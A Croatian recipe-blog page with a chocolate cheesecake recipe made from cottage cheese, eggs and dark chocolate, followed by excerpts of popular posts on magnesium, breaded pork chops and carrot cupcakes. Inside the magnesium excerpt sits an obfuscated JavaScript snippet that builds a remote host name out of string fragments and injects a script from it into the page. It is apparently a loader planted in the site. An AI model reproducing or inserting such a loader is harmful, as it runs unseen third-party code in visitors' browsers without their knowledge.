ČOKOLADNA TORTA OD SIRA 🍫




Čokoladna torta od sira 




Ako volite bogate čokoladne deserte, a ne želite provesti sate u kuhinji, ova torta mogla bi postati vaš novi favorit. Teksturom je negdje između cheesecakea i mousse torte – mekana je, kremasta i raskošno čokoladna. Nije pretjerano slatka jer se zaslađuje isključivo tamnom čokoladom, pa će posebno oduševiti ljubitelje intenzivnih okusa kakaa. Ako ipak volite slađe deserte, tortu možete premazati čokoladnim ganacheom ili omiljenom kremom.





Čokoladna torta od sira 


Sastojci:

  • 370 g svježeg zrnatog sira (4 % mliječne masti), sobne temperature
  • 2 velika jaja, sobne temperature
  • 225 g tamne čokolade (oko 60 % kakaa)




Priprema:

  1. Zagrijte pećnicu na 175 °C.
  2. Kalup za tortu promjera 18 cm lagano namastite. Jednim većim komadom papira za pečenje obložite dno i stranice kalupa. Nije problem ako rubovi ne budu potpuno ravni – tako ćete tortu lakše izvaditi nakon pečenja.
  3. U blender stavite svježi sir i jaja pa miksajte dok smjesa ne postane potpuno glatka.
  4. Čokoladu otopite u mikrovalnoj pećnici u intervalima od 30 sekundi, miješajući između svakog zagrijavanja. Možete je otopiti i na pari.
  5. Otopljenu čokoladu dodajte u blender te miksajte zajedno sa sirom i jajima dok ne dobijete jednoličnu čokoladnu smjesu bez grudica.
  6. Ulijte smjesu u pripremljeni kalup i poravnajte površinu.
  7. Kalup stavite u veći lim ili posudu za pečenje te ulijte vruću vodu do polovice visine kalupa kako biste napravili vodenu kupelj.
  8. Pecite oko 60 minuta, odnosno dok sredina torte ne bude čvrsta. Rubovi mogu lagano popucati, a sredina treba biti podignuta i stabilna.
  9. Ostavite tortu da se potpuno ohladi. Tijekom hlađenja lagano će se spustiti, što je normalno.
  10. Za najbolju teksturu stavite je u hladnjak na najmanje 2 sata prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više